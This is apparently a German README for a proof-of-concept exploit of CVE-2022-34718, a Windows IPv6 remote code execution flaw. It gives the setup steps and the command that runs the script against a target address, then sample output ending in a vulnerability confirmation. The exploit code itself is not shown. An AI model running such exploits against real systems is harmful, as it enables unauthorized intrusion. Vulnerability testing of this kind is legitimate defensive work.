
Dieses Repository enthält einen Exploit für CVE-2022-34718, eine Schwachstelle zur Remote-Code-Ausführung (RCE) in IPv6 auf Windows-Systemen.
Da die Schwachstelle speziell präparierte IPv6-Pakete erfordert, hängt sie vom Scapy-Modul ab und muss daher als Root ausgeführt werden. Die empfohlene Methode, um diese PoC auszuführen, ist über eine virtuelle Umgebung, wie folgt:
# virtualenv PoC
# source PoC/bin/activate
(PoC) # pip3 install -r requirements.txt
(PoC) # python3 ipv6-rce-poc.py <target address>
Das Skript teilt Ihnen mit, ob das Zielsystem für diesen Exploit anfällig ist.
[...]
**** inner_frag_id: 0x24944eac
Preparing frags...
Sending 64 frags...
.
Sent 1 packets.
[...]
Sent 1 packets.
Now sending the last inner fragment to trigger the bug...
.
Sent 1 packets.
Success! The system is vulnerable...